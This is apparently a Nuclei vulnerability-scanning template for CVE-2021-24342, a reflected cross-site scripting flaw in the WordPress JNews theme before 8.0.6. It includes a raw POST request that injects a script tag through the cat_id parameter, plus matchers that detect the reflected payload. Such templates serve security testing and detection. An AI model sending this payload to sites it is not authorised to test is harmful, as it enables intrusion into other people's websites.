53 lines
1.8 KiB
YAML
53 lines
1.8 KiB
YAML
id: CVE-2021-24342
|
|
|
|
info:
|
|
name: WordPress JNews Theme <8.0.6 - Cross-Site Scripting
|
|
author: pikpikcu
|
|
severity: medium
|
|
description: WordPress JNews theme before 8.0.6 contains a reflected cross-site scripting vulnerability. It does not sanitize the cat_id parameter in the POST request /?ajax-request=jnews (with action=jnews_build_mega_category_*).
|
|
remediation: |
|
|
Update to the latest version of the WordPress JNews Theme (>=8.0.6) to mitigate the XSS vulnerability.
|
|
reference:
|
|
- https://wpscan.com/vulnerability/415ca763-fe65-48cb-acd3-b375a400217e
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-24342
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2021-24342
|
|
cwe-id: CWE-79
|
|
epss-score: 0.00102
|
|
epss-percentile: 0.41354
|
|
cpe: cpe:2.3:a:jnews:jnews:*:*:*:*:*:wordpress:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: jnews
|
|
product: jnews
|
|
framework: wordpress
|
|
tags: cve2021,wordpress,xss,wp-plugin,wpscan,cve
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /?ajax-request=jnews HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Accept: */*
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
lang=en_US&cat_id=6"></script><script>alert(document.domain)</script>&action=jnews_build_mega_category_2&number=6&tags=70%2C64%2C10%2C67
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- '</script><script>alert(document.domain)</script>'
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- 'Content-Type: text/html'
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4b0a004830460221008bf0c6789195f2ae62de551de78f548cca38b646e7129a96de2b448b1c64b022022100a972a52466574b0d6e3ea9333e6f5ec3e5f3fe1c08c98a0cbbabb2e763e3ddc2:922c64590222798bb761d5b6d8e72950 |